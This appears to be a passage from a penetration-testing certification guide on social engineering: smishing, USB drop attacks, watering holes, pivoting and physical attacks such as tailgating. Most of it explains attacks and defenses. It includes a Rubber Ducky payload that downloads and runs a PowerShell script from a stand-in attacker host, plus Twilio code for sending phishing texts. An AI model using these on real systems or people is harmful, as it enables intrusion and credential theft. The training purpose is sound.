Two-factor authentication phishing represents a particularly sophisticated smishing technique. After obtaining a target's credentials through other means (data breach, keylogger, credential stuffing), the attacker attempts to log in and triggers a legitimate MFA SMS code to the target's phone. Simultaneously, they call or text the target claiming to be from the service's security team and asking the target to "verify" the code they just received. The target provides the real MFA code to the attacker, completing the authentication bypass.

Smishing Infrastructure for Authorized Testing

# For authorized red team SMS testing:

# SMS spoofing services (legitimate authorized use only):
# - Twilio: programmable SMS with custom sender ID
# - Plivo: similar capabilities
# - TextMagic: commercial SMS platform with sender ID support

# Example: Using Twilio for authorized smishing simulation
from twilio.rest import Client

client = Client(account_sid, auth_token)
message = client.messages.create(
    body="[INTERNAL SECURITY TEST] Click here to verify your credentials: http://test.targetco-security.com",
    from_="+15005550006",  # Test number for authorized engagement
    to="+1-555-target-number"
)

# Track click rates and credential submissions via GoPhish or custom landing page

SMS sender ID spoofing: In many countries, the sender ID (the name or number displayed for an SMS) can be set to any string by the sender. This allows attackers to send messages that appear to come from "CHASE BANK" or "USPS" or any other trusted entity. Some carriers validate sender IDs; many do not.

The Smishing Attack Chain — From Text to Compromise

The smishing attack typically follows a multi-step chain:

Step 1 — SMS delivery: Target receives a text message with a plausible scenario and a link.

Step 2 — Landing page: The link leads to a mobile-optimized phishing page designed to match the impersonated entity. Mobile-optimized is critical — a non-mobile page immediately signals something is wrong.

Step 3 — Credential capture or malware delivery: The landing page either captures credentials (fake login page) or delivers malware (document download, malicious profile, exploit page).

Step 4 — Credential use or malware execution: Captured credentials are used for unauthorized access. Malware establishes persistence and provides continued access.

The most sophisticated smishing attacks use real-time relay systems (called Adversary-in-the-Middle or AitM setups) that relay the target's credentials and MFA codes to the real service in real time — allowing attackers to bypass MFA entirely. The target believes they are logging into their real bank; the attacker is using their credentials to authenticate simultaneously.

4.2.5 USB Drop Attacks — Physical Media as a Cyberweapon

The Psychology of Found Objects

A USB drop attack places USB drives in locations where the intended targets will find them and, out of curiosity or helpfulness, connect them to their computers. This relies on a deceptively simple psychological mechanism: humans pick up found objects, and when those objects have a plausible institutional identity, humans are strongly inclined to figure out what they are and "return" them or "report" them — which requires connecting them to a computer.

A 2016 study conducted by Google and the University of Illinois Urbana-Champaign tested this precisely. They dropped 297 USB drives around the University of Illinois campus. Of those, 48% were plugged in — with files opened within hours. The plugging rate was 100% for drives left in parking lots labeled with "Final Exam Q&A" or similar academic labels. The study demonstrated that curiosity and helpfulness, not naivety, drove the behavior.

The implication is significant: USB drop attacks work on sophisticated, educated, security-aware users just as well as on naive ones, because the psychological drivers are curiosity and institutional obligation, not ignorance.

Types of USB Attack Payloads

A malicious USB drive can deliver attacks through several mechanisms:

HID (Human Interface Device) Emulation: The USB device registers itself not as a storage device but as a keyboard and/or mouse. When connected, it begins automatically typing pre-programmed keystrokes at speeds no human can match — opening a terminal, downloading a payload, executing it, and covering its tracks — all within seconds. The HID attack is particularly potent because it bypasses USB storage restrictions (many organizations block USB storage) and executes before security tools can respond.

The USB Rubber Ducky (by Hak5) is the most famous HID attack device. It is a USB device the size of a standard flash drive that pre-loads and executes keystroke injection payloads in seconds.

The O.MG Cable represents an evolution — a USB cable (for charging or data transfer) that contains an embedded HID attack computer. Physically indistinguishable from a standard cable. When connected to a computer, it executes programmed attacks.

# Rubber Ducky payload example (DuckyScript)
# This payload opens PowerShell and downloads a reverse shell
DELAY 1000
GUI r                   # Windows Run dialog
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER

BadUSB / Malicious Firmware: BadUSB exploits a fundamental vulnerability in USB — that USB device firmware can be reprogrammed to make a device behave as any USB device class. A USB drive can be reprogrammed to behave as a network adapter (stealing network traffic), a keyboard (HID injection), and a storage device simultaneously. The attack surface is the USB protocol itself, not the operating system.

Autorun-based Payloads: On older Windows systems, inserting a USB drive automatically executed code in the autorun.inf file. Modern Windows versions disable autorun by default, but many users are tricked into double-clicking what they believe to be a document — which is actually an executable or a shortcut that executes a hidden payload.

LNK (Windows Shortcut) Exploits: A USB drive contains what appear to be legitimate documents — a spreadsheet labeled "Employee_Salaries_2024.xlsx.lnk" or "HR_Benefits_Information.pdf.lnk". The .lnk extension is hidden by Windows by default. When the "document" is opened, it executes a malicious command instead of opening a file. The payload executes in the security context of the user — which may be domain admin.

Charging Station Attacks (Juice Jacking): Public USB charging stations can be modified to deliver malicious payloads to connected devices, stealing data or installing malware on phones and laptops. This is the physical-world equivalent of connecting to a malicious Wi-Fi hotspot.

USB Drop Attack Execution — Professional Red Team Approach

In authorized physical penetration testing engagements, USB drop attacks follow a deliberate process:

Drive preparation: USB drives are loaded with the appropriate payload for the engagement objectives. They are often labeled with convincing content — corporate branding, internal-looking labels ("Q3 Financial Review - CONFIDENTIAL"), or content that creates curiosity ("Employee Survey Results").

Placement strategy: Drives are placed in high-traffic locations where the target employees will find them: parking lots, break rooms, elevator lobbies, conference rooms, reception areas, bathrooms. The placement should appear natural — fallen from someone's bag, accidentally left on a desk.

Multiple vectors: Professional engagements often combine multiple placement types: some labeled drives left in parking lots, some on desks while performing physical access testing, some dropped in conference rooms during break periods.

Tracking: Modern USB attack frameworks can track exactly when a payload is executed, from which computer (IP address, hostname), and what information the payload reports back. This provides evidence for the assessment report.

Detection and analysis: The tracking data reveals which employees connected drives, what systems were affected, and how long it took for the incident to be detected (if at all) by the security operations team.

Defending Against USB Drop Attacks

Technical controls:

Disable USB ports at the BIOS level on systems where they are not needed
Use endpoint security tools that block USB storage devices but allow HID devices (with caution — HID injection is then the relevant threat)
Use endpoint detection tools that flag suspicious HID device behavior (automated keystroke patterns)
Implement USB device whitelisting (only pre-approved device IDs can connect)

Physical controls:

USB port blockers (physical devices that block port access)
Clear desk policies that reduce the likelihood of found drives being connected
Secure facility controls that reduce the ability of attackers to physically place drives

Human controls:

Awareness training specifically about USB drives — "never connect a found USB drive to any computer"
Clear reporting procedure for suspicious USB drives (pick up with a paper towel, bring to IT/security)
Consequences and procedures clearly communicated

4.2.6 Watering Hole Attacks — Poisoning the Trusted Source

The Predator Metaphor That Defines the Attack

A watering hole, in the natural world, is a place where prey animals must go to drink — a location of concentrated, predictable vulnerability. A predator that understands prey behavior does not chase individual animals across the savanna. They wait at the watering hole, knowing that eventually every animal will come to them.

The watering hole attack applies this principle to cybersecurity: instead of attacking the target organization directly (where defenses may be strong), the attacker identifies websites, forums, or online platforms that the target organization's employees regularly visit — and compromises those external resources to deliver malware to the employees who visit them.

The genius of the watering hole attack is that it attacks trust itself. Employees are told not to visit suspicious websites, to be cautious of unsolicited links, to avoid downloading software from untrusted sources. Watering hole attacks deliver malware from trusted sources — websites the employees have visited dozens of times before, from which they have previously downloaded legitimate software, which they have no reason to doubt.

How Watering Hole Attacks Work

Target profiling: The attacker identifies the target organization and researches which external websites employees regularly visit. This might include:

Industry-specific news sites and forums
Professional association websites
Vendor and supplier portals
Trade conference websites
Government regulatory websites
Specialized technical blogs and documentation sites

For a financial services firm, the watering holes might be financial industry news sites, regulatory body websites, and the web portals of their software vendors. For a defense contractor, they might be defense industry news sites, government procurement portals, and the websites of specialized equipment suppliers.

Site compromise: The attacker compromises the identified watering hole sites. This typically involves:

Finding and exploiting vulnerabilities in the watering hole site's CMS (WordPress, Drupal, Joomla)
Compromising the hosting infrastructure or CDN
Injecting malicious JavaScript into the site's pages
Modifying download links to point to trojanized versions of legitimate software

The compromise is usually designed to be invisible to the site's administrators — the malicious code runs silently, affects only specific visitor types (e.g., visitors coming from corporate IP ranges, using specific browser fingerprints), and causes no obvious disruption to the site's normal function.

Malware delivery: When a target organization's employee visits the compromised watering hole, the malicious JavaScript executes automatically (a drive-by download). Depending on the browser and operating system, this may:

Exploit a browser vulnerability to execute code without any user action
Deliver a malicious file download that the user is encouraged to open
Redirect to a malicious page that continues the attack chain

The malware is delivered through a site the employee trusts, in a context that does not seem suspicious — they were doing their normal work, visiting a site they always visit.

Historical examples:

The 2019 iOS browser exploit chain discovered by Google's Project Zero involved multiple watering hole sites. These sites, visited by users of a specific ethnic and religious community, delivered sophisticated iOS exploits that provided complete device compromise — contacts, messages, photos, real-time location, and communications — with a single web page visit.

Operation ShadyRAT (2011) used watering hole attacks to target defense contractors, government agencies, and technology companies. The attackers compromised industry association websites that the target organizations' employees regularly visited.

Strategic watering hole attacks against critical sectors:

Nation-state actors routinely use watering hole attacks because they allow high-value targeting with plausible deniability. If you compromise an energy sector trade association's website and use it to deliver exploits to visitors, you can attack every energy company whose employees visit that site — simultaneously, invisibly, through a trusted resource.

Supply Chain Attacks — The Logical Extension

Watering hole attacks represent a relatively simple form of supply chain compromise. The full supply chain attack concept extends this logic further: instead of compromising a website that target employees visit, compromise a software component that target organizations deploy.

The SolarWinds Orion attack (2020) is the definitive modern supply chain attack. Attackers (later attributed to the Russian SVR intelligence service, Cozy Bear/APT29) compromised the build process of SolarWinds' Orion IT monitoring software. They inserted a malicious backdoor (SUNBURST) into a legitimate software update, which was then signed with SolarWinds' legitimate code signing certificate and distributed to approximately 18,000 organizations through the normal software update mechanism.

Every organization that received and installed the compromised update was then backdoored — without visiting a suspicious site, without clicking a suspicious link, without taking any action that a security-aware user would identify as risky. They were simply applying a software update from a trusted vendor.

The XZ Utils backdoor (2024) demonstrated the same principle in open-source software: a malicious contributor spent approximately two years building trust in a critical open-source compression library (XZ Utils) before inserting a backdoor that would have allowed SSH authentication bypass on systems running the compromised version. The attack was discovered before widespread deployment, but it illustrated the patience and sophistication of modern supply chain attackers.

Defending Against Watering Hole Attacks

The fundamental challenge of defending against watering hole attacks is that they exploit trust — and removing all trust from external websites would make the internet non-functional for employees.

Technical defenses:

Browser isolation technology (rendering all web content in an isolated virtual environment that cannot affect the host system)
DNS filtering to block known malicious domains
Endpoint detection tools that identify anomalous network connections from browsers
Application whitelisting to prevent unauthorized executables from running
HTTPS with certificate pinning to detect compromised or substituted content
Web proxy with SSL inspection to examine encrypted traffic from potentially compromised sites
Threat intelligence feeds that track compromised sites and block access

Behavioral defenses:

Principle of least privilege — employees browse the web with limited-rights accounts, so drive-by exploits execute in a constrained context
Regular browser and plugin updates to reduce the attack surface for browser exploits
Disabling JavaScript and plugins on high-risk browsing contexts

4.2.7 The Pivot Attack — Chaining Social Engineering into Network Access

What a Pivot Attack Is

A pivot attack is not a standalone technique — it is a strategic concept describing how social engineering serves as the first link in a longer attack chain. The social engineering component provides initial access or initial intelligence; the pivot is the subsequent transition to technical exploitation of that access.

Understanding pivot attacks is essential because it contextualizes social engineering within the broader penetration testing and attack methodology. Social engineering is rarely an end goal — it is a means to an end. The end is persistent network access, data exfiltration, financial fraud, or operational disruption.

Social Engineering as an Initial Access Vector

In the MITRE ATT&CK framework, "Initial Access" is the first tactic — how attackers establish their first foothold in a target environment. The most common initial access techniques in real-world intrusions are:

Phishing (T1566) — the most common initial access technique observed in 2024
Valid Accounts (T1078) — using credentials obtained through phishing or data breaches
External Remote Services (T1133) — exploiting VPN and remote access systems (often enabled by vished credentials)
Exploit Public-Facing Application (T1190) — technical exploitation (less common than social engineering for initial access)

The pattern is consistent: social engineering provides the initial foothold, and technical techniques are used for subsequent lateral movement, privilege escalation, and objective achievement.

The MGM Breach as a Pivot Attack Model

The MGM Resorts breach provides a clear illustration of the pivot chain:

PHASE 1: OSINT (Passive Reconnaissance)
→ Identified MGM employee on LinkedIn
→ Gathered name, role, enough personal details for impersonation

PHASE 2: SOCIAL ENGINEERING (Vishing)
→ Called IT help desk impersonating the employee
→ Social engineered credential reset
→ Obtained valid Active Directory credentials

PHASE 3: PIVOT — TECHNICAL EXPLOITATION BEGINS
→ Used obtained credentials to authenticate to AD
→ Enumerated AD structure (BloodHound for attack path analysis)
→ Identified privilege escalation paths
→ Moved laterally through the network

PHASE 4: OBJECTIVE ACHIEVEMENT
→ Deployed ransomware across hotel systems
→ Encrypted critical operational infrastructure
→ Demanded ransom for decryption keys

The social engineering phase lasted ten minutes. The subsequent technical attack phase lasted longer. But without the ten-minute social engineering phase, the technical attack could not have begun — MGM's technical perimeter was sufficiently hardened that direct external exploitation was not the chosen path.

Common Pivot Patterns

Vished credentials → VPN/RDP access: A caller impersonates IT support and convinces the target to provide VPN credentials or assists them in "reconfiguring" their VPN client (which actually installs a remote access tool). With VPN access, the attacker is inside the corporate network and can begin technical enumeration.

Phishing → Malware deployment → Pivoting to additional systems: A phishing email delivers a malware payload. The malware establishes C2 (command and control) communication and provides a foothold. The attacker uses this foothold for lateral movement — connecting from the compromised workstation to internal servers, using credentials harvested from memory (Mimikatz, credential dumping), and pivoting progressively toward higher-value targets.

USB drop → Initial execution → Reverse shell → Lateral movement: An employee plugs in a dropped USB drive. The HID payload executes a PowerShell download cradle. A reverse shell is established. The attacker accesses the compromised machine remotely through the C2 channel. From there, they pivot using the same internal network access and internal network protocols that legitimate users use.

Social engineering + physical access → Internal network access → Remote exploitation: A physical penetration tester (tailgating into the office, impersonating a vendor) connects a network implant device (LAN Turtle, Packet Squirrel) to an internal network port. The implant provides persistent remote access to the internal network. The attacker, from a remote location, uses this access to conduct technical exploitation.

The Strategic Lesson for Penetration Testing Professionals

The pivot attack model establishes a key professional principle: social engineering tests should never be evaluated in isolation from their technical consequences.

A social engineering test that reports "23% of employees provided credentials to a phishing simulation" is interesting but incomplete. The complete picture requires answering: "What could an attacker do with those credentials?" If the answer is "directly authenticate to the corporate VPN and access the internal network," the 23% statistic represents a catastrophic security failure. If the answer is "authenticate to a single web application with no access to sensitive data," the 23% statistic represents a lower-impact finding.

This is why sophisticated red team engagements do not stop at credential capture. They use captured credentials to demonstrate the technical impact: they authenticate to the VPN, they enumerate the internal network, they access sensitive files, they show the client exactly what an attacker would have done with what the social engineering obtained. Only then is the true business risk of the social engineering vulnerability fully communicated.

Module 4: Social Engineering Attacks — Sections 4.3 through 4.6

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Module 4 Final Sections — Physical Attacks · Tools · Influence · Module Summary

4.3 Physical Attacks
- 4.3.1 Overview — When the Attacker Walks Through the Front Door
- 4.3.2 Tailgating — The Physics of Unauthorized Entry
- 4.3.3 Dumpster Diving — Intelligence from Discarded Material
- 4.3.4 Shoulder Surfing — Observation as an Attack Vector
- 4.3.5 Badge Cloning — Defeating Electronic Access Control
- 4.3.6 Physical Attack Methodology — The Complete Red Team Approach
4.4 Social Engineering Tools
- 4.4.1 Overview — The Professional Social Engineering Toolkit
- 4.4.2 Social-Engineer Toolkit (SET)
- 4.4.3 Browser Exploitation Framework (BeEF)
- 4.4.4 Call Spoofing Tools — The Infrastructure of Vishing
- 4.4.5 GoPhish — Professional Phishing Campaign Management
- 4.4.6 Evilginx2 — Adversary-in-the-Middle Phishing
- 4.4.7 Supporting Tools and Infrastructure
4.5 Methods of Influence — The Complete Psychological Framework
- 4.5.1 Overview — How Influence Actually Works
- 4.5.2 The Six Cialdini Principles in Operational Depth
- 4.5.3 Beyond Cialdini — Advanced Influence Mechanics
- 4.5.4 Stacking Principles — Why Combined Attacks Are So Devastating
- 4.5.5 Countermeasures — Building Resistance to Influence
4.6 Module 4 Summary — The Complete Picture of Human-Layer Security

4.3 Physical Attacks

4.3.1 Overview — When the Attacker Walks Through the Front Door

The most sophisticated technical attack in the world can be rendered unnecessary by a single act: walking through an unlocked door.

Physical attacks represent the intersection of social engineering and physical security — attacks that use manipulation, deception, observation, or physical devices to bypass the access controls that organizations spend significant resources implementing. And they are far more prevalent in real-world security incidents than most organizations acknowledge.

The 2024 IBM Cost of a Data Breach Report notes that breaches involving physical security failures cost organizations an average of $4.07 million per incident. These breaches take 10% longer to identify than purely digital attacks, largely because physical intrusions often do not generate the network logs and system alerts that digital attacks produce. An attacker who walks into a server room, plugs in a network implant device, and walks out has potentially established persistent access with zero digital footprint — at least until the device is physically found.

The physical attack surface of a typical organization includes:

Every door that employees can enter — loading docks, emergency exits, staff entrances, parking garages with direct building access. These are systematically less secured than primary entrances.

Every conference room, meeting space, and common area where visitors arrive — areas where outsiders have legitimate presence and where the social convention of challenging people is weakest.

Every desk, monitor, notebook, and whiteboard that employees leave visible — physical documents, handwritten passwords, network topology diagrams, and organizational charts that employees treat as invisible because they are familiar.

Every piece of hardware — workstations, network devices, printers, servers — that a brief moment of physical access could compromise with an implant device.

Every trash bin, recycling container, and shredding collection point — the exit for documents that employees no longer consider valuable.

Physical attacks cannot be addressed by technical controls alone. They require physical security controls (mantraps, guards, cameras, access control systems), procedural controls (clear desk policies, visitor management procedures, challenge protocols), and human controls (security awareness training that specifically addresses physical attack scenarios).

Understanding physical attacks is essential for penetration testers because physical security assessments are increasingly common client requests — and because physical access often enables the technical attacks that follow. An attacker who reaches a network port inside the building can deploy exploits that are impossible from outside the perimeter.

4.3.2 Tailgating — The Physics of Unauthorized Entry

The Core Concept

Tailgating is physical social engineering in its most direct form: an unauthorized person gains entry to a restricted area by following closely behind an authorized person through a secured access point. The attacker exploits the social convention of not letting a door slam in someone's face — one of the most deeply embedded courtesies in human behavior.

The related term piggybacking describes a slightly different dynamic: the authorized person is aware they are allowing someone to enter but has been deceived or pressured into doing so. In tailgating, the authorized person typically does not notice the unauthorized follower, or notices but assumes the person behind them has legitimate access. In piggybacking, the authorized person is an active (if unwitting) participant — they hold the door because they were asked to, because the attacker appeared to have their hands full, or because refusing felt rude.

Both succeed because of a fundamental human tendency that is simultaneously a social virtue and a security vulnerability: we extend courtesy to people in our immediate physical environment without verifying their authorization.

Why Tailgating Works — The Social Psychology

The effectiveness of tailgating is grounded in several intersecting psychological mechanisms.

Social facilitation and physical proximity: When we are physically close to someone — within the social distance bubble that human interaction creates — the normal social contract of stranger relationships shifts. People who are physically close become temporarily part of our immediate social group. We feel social pressure to treat them with the same consideration we would give known associates.

The presumption of legitimacy in physical spaces: Humans use physical presence as a heuristic for legitimacy. If someone is in a secure building, they must have gotten past security. If someone is walking confidently through a corporate lobby dressed in business attire, they are an employee or a legitimate visitor. This heuristic works well enough in normal circumstances to have become deeply automatic — we do not consciously evaluate every person we see in a professional environment.

The social cost of challenging: Stopping someone and demanding to see their credentials is socially uncomfortable. It implies distrust. It risks offending a colleague, a senior manager, or an important visitor. Most people have never been trained to challenge — and even those who have been trained find it viscerally uncomfortable to execute. The social friction of challenging is so high that most employees will not do it even when they are uncertain about whether the person behind them belongs there.

Cognitive load: In the rush of a typical workday — hurrying to a meeting, carrying coffee, thinking about a presentation — employees' cognitive resources are depleted. Evaluating the authorization of a person behind them at a door is a task that requires dedicated attention. In a high-cognitive-load state, people fall back on the path of least resistance: extend courtesy, assume legitimacy, move on.

The Attacker's Perspective — Execution Techniques

Basic tailgating: The attacker identifies a moment when an authorized employee approaches a secured entry point. They time their approach to arrive just as the door is being opened — close enough that the door does not close before they can enter, but not so close as to obviously crowd. They may make eye contact and smile, or look at their phone to appear distracted and harmless. The social convention ensures the door is held.

Props and props: Carrying items that plausibly require assistance — a heavy box, a large catering tray, a stack of folders — creates a social obligation for others to help. "Could you hold the door? My hands are full." Few people refuse this request, and in the moment of compliance, they rarely ask about authorization.

The service worker persona: Uniformed service workers — IT technicians, maintenance personnel, delivery drivers — enjoy a specific social permission to move through spaces without challenge. They have an expected reason to be there, they look like they belong, and challenging them feels like obstruction of a legitimate service function. An attacker dressed as an HVAC technician with a clipboard and a toolbox can access server rooms, mechanical spaces, and executive floors with minimal challenge.

Reverse tailgating: A sophisticated variant where the attacker enters a building legitimately (as a visitor, for a meeting, or through an unlocked public area) and then uses their presence inside the building as a launching point for accessing restricted internal areas. Having passed external security, they are now trusted to be in the building — which reduces scrutiny for internal movement.

Following at a distance through multifactor controlled entries: Multi-factor physical security (badge + PIN, badge + biometric) is specifically designed to prevent tailgating — one person authenticates, one person enters. But even mantrap-style dual-door entries can be defeated if the attacker is inside the mantrap during authentication and the authorized user does not notice or does not think to prevent them from following.

Real-World Documented Tailgating Incidents

In August 2024, a Norwegian man successfully tailgated through airport security at Munich Airport on two consecutive days, boarding flights without a valid ticket. On the first attempt he was detected aboard the plane; remarkably, he succeeded completely on the second attempt, boarding a Lufthansa flight to Stockholm. The incident prompted investigations into airport security procedures and demonstrated that physical security failures occur even in high-security environments.

In December 2024, Russian diplomats gained access to restricted areas of the British Houses of Parliament — an institution with significant security protocols — exploiting physical access procedures that were not adequately enforced. A ban on Russian official visits had been in place since 2022, making the breach particularly notable.

These incidents at high-security institutions demonstrate that tailgating is not merely a risk for lax corporate environments. It succeeds wherever human courtesy, cognitive load, and social conventions are in play — which is everywhere.

Physical Controls That Specifically Counter Tailgating

Mantraps (Security Airlocks): A mantrap is a small room with two electronically controlled doors — the first door must close and lock before the second door can open. Single-person detection sensors (usually weight-based or camera-based) verify that only one person enters between door openings. Mantraps are expensive and create operational friction, but they are the only technical control that completely eliminates basic tailgating.

Full-height turnstiles: Unlike standard waist-height turnstiles that can be quickly followed through, full-height turnstiles (floor-to-ceiling) create a physical barrier that allows only one person per authentication cycle. However, they do not prevent piggybacking if two people enter the same compartment simultaneously.

Security guards at entry points: A present, attentive human guard who challenges people without visible identification provides the most flexible defense because they can respond to context that automated systems cannot evaluate. However, guards are expensive, create friction, and are subject to the same social engineering vulnerabilities as any human — a confident, appropriately dressed attacker who responds to challenge with authority and insider knowledge can often pass a guard as well.

Anti-tailgating sensors: Camera-based or infrared sensor systems that detect when more than one person passes through a secured entry per authentication event, triggering an alarm. These systems reduce tailgating success rates but have false positive rates that create operational friction.

4.3.3 Dumpster Diving — Intelligence from Discarded Material

Why Trash Is a Treasure Trove

The fundamental insight behind dumpster diving as an attack technique is straightforward: organizations generate enormous quantities of sensitive information, and when people no longer need a document, they often treat it as valueless and discard it without considering what it reveals.

This treatment of discarded material as harmless is a cognitive artifact of the physical world. Once something is thrown away, we mentally release ownership of it. But physical disposal does not erase the information content of a document. A discarded printout of an employee roster still contains every name, phone number, and job title on it. A thrown-away network diagram still shows the complete internal network topology. An old password list that someone decided to discard still contains every credential written on it.

Kevin Mitnick specifically documented dumpster diving as one of his most productive intelligence gathering methods. In "The Art of Intrusion," he described how searching corporate trash produced internal phone directories, org charts, system configuration documentation, and even access credentials — all of which fed directly into subsequent social engineering and technical attack phases.

Importantly, the legal status of dumpster diving is complicated. In the United States, the Supreme Court ruled in California v. Greenwood (1988) that there is no expectation of privacy in material left for garbage collection in public places. Many states, however, have more restrictive laws. Outside the United States, laws vary significantly by jurisdiction. Penetration testers conducting physical security assessments that include dumpster diving must ensure the activity is explicitly authorized in the Rules of Engagement and understand the applicable legal framework.

What Valuable Intelligence Is Found in Corporate Trash

Organizational intelligence:

Internal phone directories and employee rosters — names, direct phone numbers, email addresses, and roles that enable targeted phishing and vishing
Organizational charts — hierarchy information that enables authority-based pretexts and identifies high-value targets
Visitor logs — names of people who had meetings, with whom they met, and on what dates — providing insight into vendor relationships and organizational activities
Meeting agendas and minutes — project names, decision details, and participant names that enable highly credible pretexts

Technical intelligence:

Network diagrams and topology maps — internal IP addressing, network architecture, firewall placement
System documentation — software versions, configuration details, patch levels
Decommissioned hardware documentation — old server configurations that may still apply to production systems
Printed email threads — internal communications that reveal processes, systems, and relationships
Backup media (old tapes, CDs, USB drives) — potentially containing actual data rather than just documentation
Old access control badges — providing RFID data if the organization has not changed its badge system

Credential and authentication intelligence:

Printed password lists — users who wrote passwords down and then discarded the paper
Post-it notes with passwords — famously common in both physical offices and recycling bins
Account setup documentation — temporary passwords, initial credentials for new systems
VPN configuration files — printed or handwritten
Shared credential sheets for legacy systems

Financial and legal intelligence:

Purchase orders and invoices — revealing vendor relationships, software licenses, and technology investments
Contract documents — third-party relationships and service agreements
Financial statements — for publicly traded companies, material non-public information has significant legal implications

Dumpster Diving in Authorized Assessments

In a professional physical penetration test, dumpster diving is conducted methodically:

Pre-activity preparation: Confirm authorization explicitly covers dumpster diving. Understand the legal framework for the jurisdiction. Wear gloves and appropriate protective clothing. Have clear engagement documentation available if challenged.

Information gathering approach: Photograph items that cannot be safely removed (to avoid taking original documents, which could create legal issues). Note the type, volume, and sensitivity of discovered materials. Prioritize items that reveal technical infrastructure (network diagrams, system documentation) and human intelligence (employee lists, contact information).

Documentation: Photograph or scan discovered materials for the assessment report. The evidence is compelling: images of sensitive organizational documents found in an unsecured trash container are an unambiguous illustration of security failure.

Reporting: Findings are reported as a physical security failure with specific examples of what was found and what an attacker could do with that information. Remediation recommendations center on shredding policies, secure document disposal procedures, and the physical security of disposal locations.

The Defense: A Proper Document Destruction Program

The defense against dumpster diving is not complex but requires consistent implementation:

Cross-cut or micro-cut shredding for all sensitive documents — strip shredding is insufficient as the resulting strips can be reassembled with patience and the right equipment. Cross-cut shredders produce small rectangular pieces; micro-cut shredders produce confetti-like particles that are effectively impossible to reassemble.

Secure destruction of electronic media — old hard drives, USB drives, backup tapes, and CDs must be physically destroyed (degaussed and then shredded, or incinerated) rather than simply deleted or reformatted. Data recovery from discarded storage media is a well-documented attack vector.

Clear desk policy enforcement — sensitive documents should not be left on desks at the end of the day, requiring active disposition choices for every document.

Secure, locked document destruction bins — rather than open recycling containers, organizations should use locked, tamper-resistant bins for sensitive document collection, with a certified destruction service collecting and shredding the contents.

Employee training — employees must understand that the classification level of a document does not change when they are finished with it. A confidential document that is thrown in the recycling bin is still confidential. Training should specifically address what types of documents require secure destruction.

4.3.4 Shoulder Surfing — Observation as an Attack Vector

What Shoulder Surfing Is

Shoulder surfing is the practice of directly observing sensitive information by physically watching over someone's shoulder — or from any vantage point that allows observation of screens, keyboards, or documents. The name captures the physical mechanism: the attacker positions themselves where they can see what the target sees.

Despite its apparently simple nature, shoulder surfing is a genuinely significant attack vector in professional environments, public spaces, and high-security facilities. The 2024 IBM Cost of a Data Breach study noted physical security incidents as a meaningful contributor to breach costs — and shoulder surfing represents one of the lower-technology, higher-return physical observation techniques.

The attack requires no tools, no setup, and no prior relationship with the target. The only requirements are physical proximity and an unobstructed line of sight to sensitive information.

What Can Be Observed and How It Is Used

Credentials during entry: The most commonly discussed shoulder surfing target is the authentication process — watching someone enter a PIN, password, or access code. This might be at a building entry keypad, an ATM, a login screen, or a phone unlock screen.

Passwords are surprisingly consistent across contexts — a person who uses "P@ssw0rd!" on their workstation login is likely to use similar or identical credentials on other systems. A shoulder-surfed workstation password that is then confirmed against VPN or email login can provide full organizational access.

Sensitive document content: Employees frequently work on sensitive documents in public spaces — planes, cafes, trains, hotel lobbies, conference center common areas. A colleague or competitor seated adjacent to them may observe contract terms, financial data, unreleased product specifications, M&A materials, or organizational strategy that would be considered highly confidential if formally disclosed.

Screen content during video calls: As remote and hybrid work has become standard, employees now routinely participate in video meetings from locations visible to others — cafes, co-working spaces, public transport. The video call content — which may include internal system interfaces, confidential documents shared on screen, and internal organizational discussions — is potentially observable by anyone with line of sight to the screen.

Codes and access credentials on devices: One-time passwords from authenticator apps, VPN codes displayed on screen, temporary access links — all are observable during the brief window they are displayed.

Physical access card use: Watching the physical process of badge authentication provides information about the badge technology in use, the location of badge readers, and the access control patterns of specific individuals — all useful for subsequent badge cloning or physical penetration attacks.

Shoulder Surfing in Practice — The Attacker's Approach

Professional social engineers and physical penetration testers approach shoulder surfing methodically:

Environmental reconnaissance first: Identify the target's habitual locations for sensitive work — their usual desk configuration, their preferred coffee shop, their typical conference room. Identify camera placement and coverage gaps. Map the physical space to identify optimal observation positions.

Cover story and props: The observer needs a reason to be in the same space without appearing to watch. A laptop open to work, a book, a coffee, and business-casual attire creates the appearance of a co-worker or business traveler. The cover must be maintained naturally — extended, obvious observation breaks the social camouflage.

Optical aids: For distance observation, small binoculars, a camera with a telephoto lens, or even a smartphone camera can extend the effective observation range well beyond normal conversation distance. A person apparently photographing the cityscape from a co-working space window may actually be recording the contents of screens throughout the space.

Duration: A single observation session often produces sufficient intelligence. High-value sessions — where sensitive materials are being actively worked on — may provide immediate actionable intelligence from a single viewing.

Technical and Physical Countermeasures

Privacy screens / screen filters: The most effective single countermeasure is a privacy filter applied to monitors and laptops. These filters use micro-louver technology to restrict the viewing angle to approximately 60 degrees (30 degrees on each side of center), making the screen appear black to anyone not seated directly in front of it. They are inexpensive, do not impede the primary user's visibility, and are available for virtually every screen size and form factor.

For particularly sensitive work in public environments, privacy screens should be treated as mandatory rather than optional.

Physical positioning awareness: Training employees to consider their physical positioning when working on sensitive materials. Sitting with their back to a wall rather than to an open space. Facing outward rather than toward a window from which observation is possible. Choosing tables or booths that minimize adjacent observers.

Clean screen habits: Locking the screen when stepping away, even for a moment. Minimizing sensitive windows when others are nearby. Reducing font sizes to make screen content harder to read from a distance.

PIN/password entry shielding: Training users to physically shield keypads and screens during PIN/password entry — the same behavior that credit card users are taught for ATM use.

Context-appropriate work locations: Organizational policy that prohibits working on classified or highly sensitive material in public locations without specific controls in place.

4.3.5 Badge Cloning — Defeating Electronic Access Control

Access Control Technology Landscape

Modern physical access control systems use electronic badges — most commonly based on radio-frequency identification (RFID) or Near Field Communication (NFC) technology — to authenticate individuals to secured areas. The badge communicates wirelessly with readers at each access point; if the badge is authorized for that area, the door unlocks.

Understanding badge technology is essential for both executing badge cloning in authorized assessments and understanding the defensive posture of access control systems.

EM4100/125kHz technology (Legacy): The oldest and most vulnerable RFID technology still in widespread use. These badges transmit a fixed, unencrypted 64-bit serial number when powered by the reader's RF field. The number is simply transmitted — no challenge-response authentication, no encryption, no cryptographic protection whatsoever. Any device capable of reading 125kHz RFID signals can capture this number, and any device capable of emulating 125kHz signals can replay it.

These legacy cards are found in billions of installations worldwide — particularly in older buildings, parking structures, and organizations that have not updated their access control infrastructure since the 1990s and 2000s. Their continued prevalence despite their complete lack of security is one of the most significant known physical security failures in the industry.

